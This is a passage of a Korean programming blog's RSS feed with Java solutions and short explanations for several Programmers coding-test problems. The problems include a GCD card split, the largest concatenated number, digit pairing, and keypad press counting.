            heap.offer(enemy[i]);
            
            if (n &amp;lt; 0) {
                if (k &amp;gt; 0) {
                    n += heap.poll();
                    k--;
                } else {
                    break;
                }
            }
            
            answer++;
        }
        
        return answer;
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Computer Sciences/Problem Solve</category>
      <category>heap</category>
      <category>Java</category>
      <category>programmers</category>
      <category>디펜스 게임</category>
      <category>프로그래머스</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/381</guid>
      <comments>https://somuchthings.tistory.com/381#entry381comment</comments>
      <pubDate>Tue, 19 Sep 2023 11:07:42 +0900</pubDate>
    </item>
    <item>
      <title>[Programmers] 숫자 카드 나누기</title>
      <link>https://somuchthings.tistory.com/380</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/135807&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/135807&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1695029421508&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/135807&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dnXpCX/hyTVV5awGr/XCYkuYdUJWSP3klNpaP4s0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cLjfY7/hyTVRPf6qf/4nBHV76AOOFnKDLoC2k4sK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/135807&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/135807&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dnXpCX/hyTVV5awGr/XCYkuYdUJWSP3klNpaP4s0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cLjfY7/hyTVRPf6qf/4nBHV76AOOFnKDLoC2k4sK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 최대공약수라는 키워드를 떠올리면 빠르게 해결할 수 있다. 문제는 한 쪽의 카드들은 모두 나눌 수 있고 다른 쪽의 카드는 모두 나눌 수 없아야 하는 수 중에 가장 큰 수를 찾는 것이다. 그렇다면 한 쪽의 카드를 모두 나눌 수 있는 수 중 가장 큰 수는 무엇일까? 바로 최대공약수이다. 한 쪽의 최대공약수를 구했으면 그 수를 가지고 다른 쪽의 수를 모두 나누어보면 된다. 그러다 만약 나누어지는 수가 나온다면 그 최대공약수는 조건을 만족하지 못하게 되는 것이다. 이 과정을 양쪽에 수행하면 문제를 해결할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;pre id=&quot;code_1695029695873&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Solution {
    public int solution(int[] arrayA, int[] arrayB) {
        int gcd = arrayA[0];
        int resultA = 0;
        
        for (int i = 1; i &amp;lt; arrayA.length; i++) {
            gcd = gcd(gcd, arrayA[i]);
        }
        
        resultA = gcd;
        for (int i = 0; i &amp;lt; arrayB.length; i++) {
            if (arrayB[i] % gcd == 0) {
                resultA = 0;
                break;
            }
        }
        
        gcd = arrayB[0];
        int resultB = 0;
        
        for (int i = 1; i &amp;lt; arrayB.length; i++) {
            gcd = gcd(gcd, arrayB[i]);
        }
        
        resultB = gcd;
        for (int i = 0; i &amp;lt; arrayA.length; i++) {
            if (arrayA[i] % gcd == 0) {
                resultB = 0;
                break;
            }
        }
        
        return Math.max(resultA, resultB);
    }
    
    private int gcd(int a, int b) {
        if (b == 0) {
            return a;
        }
        
        return gcd(b, a % b);
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Computer Sciences/Problem Solve</category>
      <category>GCD</category>
      <category>Java</category>
      <category>programmers</category>
      <category>숫자 카드 나누기</category>
      <category>최대공약수</category>
      <category>프로그래머스</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/380</guid>
      <comments>https://somuchthings.tistory.com/380#entry380comment</comments>
      <pubDate>Mon, 18 Sep 2023 18:35:31 +0900</pubDate>
    </item>
    <item>
      <title>[Programmers] 가장 큰 수</title>
      <link>https://somuchthings.tistory.com/379</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42746&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/42746&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1695028079589&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42746&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/e10sf/hyTVZT3zr5/LW3Vi9bSOxiI4KvYUk4TYK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/zzOnU/hyTY7XdWQc/NaTnhepK4vVaPQfHs15Cyk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42746&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/42746&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/e10sf/hyTVZT3zr5/LW3Vi9bSOxiI4KvYUk4TYK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/zzOnU/hyTY7XdWQc/NaTnhepK4vVaPQfHs15Cyk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 숫자들을 이어붙여서 가장 큰 수를 만들면 되는 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 문자열 배열에 넣고 정렬했다. 이렇게 하면 사전 순서대로 정렬되므로 이어 붙이기 수월했다. 그러나 34, 3, 30 과 같은 경우에 문제가 생겼다. 이런 경우를 어떻게 해야 할까 생각하다 다른 사람의 풀이를 보았는데 아주 간단했다. 정렬을 앞 문자열 + 뒷 문자열과 뒷 문자열 + 앞 문자열을 한 값으로 하면 되는 것이었다. 예를 들어 30, 3이 있다고 하면 303과 330으로 비교를 하게 되므로 303.compareTo(330)을 하면 1이 반환되므로 330이 앞으로 정렬된다. 참고로 compareTo를 활용하여 정렬을 하는 경우 compareTo의 결과가 양수면 두 원소의 위치를 변경하고 그 외에는 유지한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;pre id=&quot;code_1695028392928&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import java.util.Arrays;

class Solution {
    public String solution(int[] numbers) {
        String[] strnums = new String[numbers.length];
        
        for (int i = 0; i &amp;lt; numbers.length; i++) {
            strnums[i] = String.valueOf(numbers[i]);
        }
        
        Arrays.sort(strnums, (s1, s2) -&amp;gt; (s2 + s1).compareTo(s1 + s2));
        
        if (strnums[0].equals(&quot;0&quot;)) {
            return &quot;0&quot;;
        }
        
        String answer = &quot;&quot;;
        for (int i = 0; i &amp;lt; strnums.length; i++) {
            answer += strnums[i];
        }
        
        return answer;
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Computer Sciences/Problem Solve</category>
      <category>Java</category>
      <category>programmers</category>
      <category>가장 큰 수</category>
      <category>프로그래머스</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/379</guid>
      <comments>https://somuchthings.tistory.com/379#entry379comment</comments>
      <pubDate>Mon, 18 Sep 2023 18:13:42 +0900</pubDate>
    </item>
    <item>
      <title>[Programmers] 숫자 짝꿍</title>
      <link>https://somuchthings.tistory.com/378</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/131128&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/131128&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1694669687366&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/131128&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/gLbZ6/hyTVUxdNzT/3KQdsUspuwd6UKdjnYY9G0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/eNVtu3/hyTSs3qgoX/xKdZqKcFrVXRniR1ssUk41/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/131128&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/131128&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/gLbZ6/hyTVUxdNzT/3KQdsUspuwd6UKdjnYY9G0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/eNVtu3/hyTSs3qgoX/xKdZqKcFrVXRniR1ssUk41/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 문자열에서 중복된 숫자를 가지고 가장 큰 숫자를 만들어야 한다. 이를 풀기 위해 각 문자열 별로 숫자의 등장 횟수를 저장할 배열을 만든다. 그리고 문자열을 순회하면서 숫자 등장 횟수를 체크한다. 그 다음에 9에서부터 내림차순으로 루프를 돌면서 x[i]와 y[i] 중 더 작은 값만큼, 즉 두 문자열에서 해당 문자가 중복된 횟수만큼 문자열에 추가한다. 만약 문자열의 길이가 0이라면 아무 문자도 중복되지 않은 것이므로 -1을 반환한다. 만약 문자열의 첫 문자가 0이라면 해당 문자열은 0이라는 뜻이다. 왜냐하면 9부터 내려왔기 때문에 첫 문자가 0인 경우는 0, 00, 000 등의 경우밖에 없기 때문이다. 이 경우 0을 반환한다. 그 외의 경우 여러 숫자로 구성된 문자열을 반환한다. 처음에는 Integer.parseInt(String.valueOf(sb.toString()))과 같은 방법으로 0을 제거했는데 문제 조건의 정답 문자열 길이가 최대 3백만이었다. 이는 곧 Integer나 Long으로 변경한다면 오버플로우 문제가 발생한다는 뜻이다. 따라서 이러한 방법으로 문제를 해결했다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;pre id=&quot;code_1694669697495&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Solution {
    public String solution(String X, String Y) {
        int[] x = new int[10];
        int[] y = new int[10];
        
        for (int i = 0; i &amp;lt; X.length(); i++) {
            x[X.charAt(i) - '0'] += 1;
        }
        
        for (int i = 0; i &amp;lt; Y.length(); i++) {
            y[Y.charAt(i) - '0'] += 1;
        }
        
        StringBuilder sb = new StringBuilder();
        for (int i = 9; i &amp;gt;= 0; i--) {
            for (int j = 0; j &amp;lt; Math.min(x[i], y[i]); j++) {
                sb.append(i);
            }
        }
        
        if (sb.length() == 0) {
            return &quot;-1&quot;;
        }
        
        if (sb.charAt(0) == '0') {
            return &quot;0&quot;;
        }

        String answer = sb.toString();
        return answer;
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Computer Sciences/Problem Solve</category>
      <category>Java</category>
      <category>programmers</category>
      <category>숫자 짝꿍</category>
      <category>프로그래머스</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/378</guid>
      <comments>https://somuchthings.tistory.com/378#entry378comment</comments>
      <pubDate>Thu, 14 Sep 2023 14:40:43 +0900</pubDate>
    </item>
    <item>
      <title>[Programmers] 대충 만든 자판</title>
      <link>https://somuchthings.tistory.com/377</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/160586&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/160586&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1694666748813&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/160586&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b0Nga7/hyTVVpmVuz/4ajqdyWwA9T0KQKEv0iwe0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cuZrVm/hyTSAArR3U/TGdB3762ZCjTnL7dxvvKkk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/160586&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/160586&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b0Nga7/hyTVVpmVuz/4ajqdyWwA9T0KQKEv0iwe0/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cuZrVm/hyTSAArR3U/TGdB3762ZCjTnL7dxvvKkk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자를 다루는 방법을 시험하는 문제이다. 이 문제는 버튼의 최소 누름 횟수를 알면 해결할 수 있다. 그래서 알파벳 누름 횟수를 알기 위해 크기가 26인 배열을 만들어 놓고 keymap에 주어진 모든 문자열을 순회하면서 각 알파벳이 배열에 있는지를 확인한다. 0이 아니라면 최솟값을 비교하고 0이라면 처음 나온 값이므로 배열에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음 targets 배열을 순회하면서 target 문자열을 확인한다. 만약 알파벳 배열에서 한 번이라도 0이 나온다면 해당 문자가 사전에 발견되지 않았으므로 만들지 못하는 문자열이 된다. 따라서 이 경우 -1을 저장하고 루프를 빠져나온다. 모든 문자가 발견되었다면 해당 문자별 누름 횟수를 누적한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;pre id=&quot;code_1694666790838&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Solution {
    public int[] solution(String[] keymap, String[] targets) {
        int[] alphabets = new int[26];
        
        for (String key : keymap) {
            for (int i = 1; i &amp;lt;= key.length(); i++) {
                char alphabet = key.charAt(i - 1);
                
                if (alphabets[alphabet - 'A'] != 0) {
                    alphabets[alphabet - 'A'] = Math.min(alphabets[alphabet - 'A'], i);
                    continue;
                }
                
                alphabets[alphabet - 'A'] = i;
            }
        }
        
        int[] answer = new int[targets.length];
        
        for (int attempt = 0; attempt &amp;lt; targets.length; attempt++) {
            String target = targets[attempt];
            for (int i = 0; i &amp;lt; target.length(); i++) {
                char alphabet = target.charAt(i);
                int count = alphabets[alphabet - 'A'];
                
                if (count == 0) {
                    answer[attempt] = -1;
                    break;
                }
                
                answer[attempt] += count;
            }
        }
        
        return answer;
    }
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Computer Sciences/Problem Solve</category>
      <category>Java</category>
      <category>programmers</category>
      <category>대충 만든 자판</category>
      <category>프로그래머스</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/377</guid>
      <comments>https://somuchthings.tistory.com/377#entry377comment</comments>
      <pubDate>Thu, 14 Sep 2023 13:50:47 +0900</pubDate>
    </item>
  </channel>
</rss>